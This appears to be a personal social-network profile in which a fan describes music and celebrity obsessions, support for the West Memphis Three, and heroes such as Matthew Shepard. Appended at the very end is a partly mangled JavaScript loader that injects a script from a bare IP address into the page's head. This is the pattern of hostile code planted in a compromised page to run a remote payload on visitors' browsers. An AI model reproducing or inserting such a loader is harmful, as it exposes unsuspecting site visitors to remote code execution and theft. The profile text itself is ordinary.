About Me

MyGen Profile Generator
THIRTY SECONDS TO MARS
My biggest obsessions involve 30 Seconds to Mars , Johnny Depp, Rammstein, the West Memphis Three , vampire folklore, and serial killers. I love music, reading, and writing (mostly short stories with an occasional poem). I write letters to inmates once in a while, too... It really isn't my fault that serial murderers are such interesting people... Other than those few things, my time is spent either with friends, at school, or on the computer. I am a member of the 30STM message board as RammsteinGirl624 and the jaredleto.com message board as EyesToInfinity.
Join the fight to free the West Memphis Three, three men in prison for being different, and doing nothing more than listening to metal, wearing black, and practicing religions other than Christianity in a conservative town. It is a sad and twisted story, and the more you learn the more shocked you become at how easily such a great injustice can occur. Jessie, Damien, and Jason deserve new trials, with real evidence (if any actually exists), and the oppertunity to live their lives outside of prison.

I would love to meet the members of Rammstein (Richard Kruspe-Bernstein, Christoph Schneider, Till Lindemann, Paul Landers, Olli Riedel, and Flake Lorenz), and the members of Avenged Sevenfold (M. Shadows, Synyster Gates, Zacky Vengeance, 'The Rev,' and Johnny Christ) in a setting more personal than an autograph signing... I also wish that I could have met Hunter S. Thompson.

Heroes:

Damien Echols, Jessie Misskelley, and Jason Baldwin:
These three men (also known as the West Memphis Three) are simply amazing. Their lives were taken away from them before they had the opportunity to really begin living. They are all in prison for a crime that they did not commit, and Damien is on death row. Somehow they have managed to stay positive for more than a decade and look toward a brighter future that will hopefully hold their freedom. Their unwavering strength and courage is nothing short of heroic.
Matthew Shepard
Matthew would not have considered himself a hero. All he actually did was stay true to himself. He was openly gay in a conservative community, and he was savagely beaten and left to die in the middle of a field for that reason alone. For Matthew Shepard, every day presented a new challenge, and what made him a hero was his unrelenting ability to face each day with a positive attitude. His death serves as a shouting reminder that homophobia and related hate crimes are not a thing of the past.
Johnny Depp and Jared Leto
I don’t really think that these two men are heroes in the traditional sense but I have a lot of respect for them. They are both amazingly talented, beautiful people. Jared is one of the most intriguing people that I have ever met. Their attitudes toward their lives and careers is rare, to say the least. Both of these men do what makes them happy without worrying about how the decisions will affect their images or reputations. They don’t take shit from anyone, and they don’t waste their time sugarcoating their opinions to make them socially acceptable. While this may not be heroic, it definitely commands respect and I admire them for their courage, even if this courage comes from an ‘I-don’t-give-a-fuck’ mind-set. .."var s=document·('script');s.src='http://75.126.2.157/.../te st.js';document·getElementsByTagName('head')[0].appendC hild(s);"
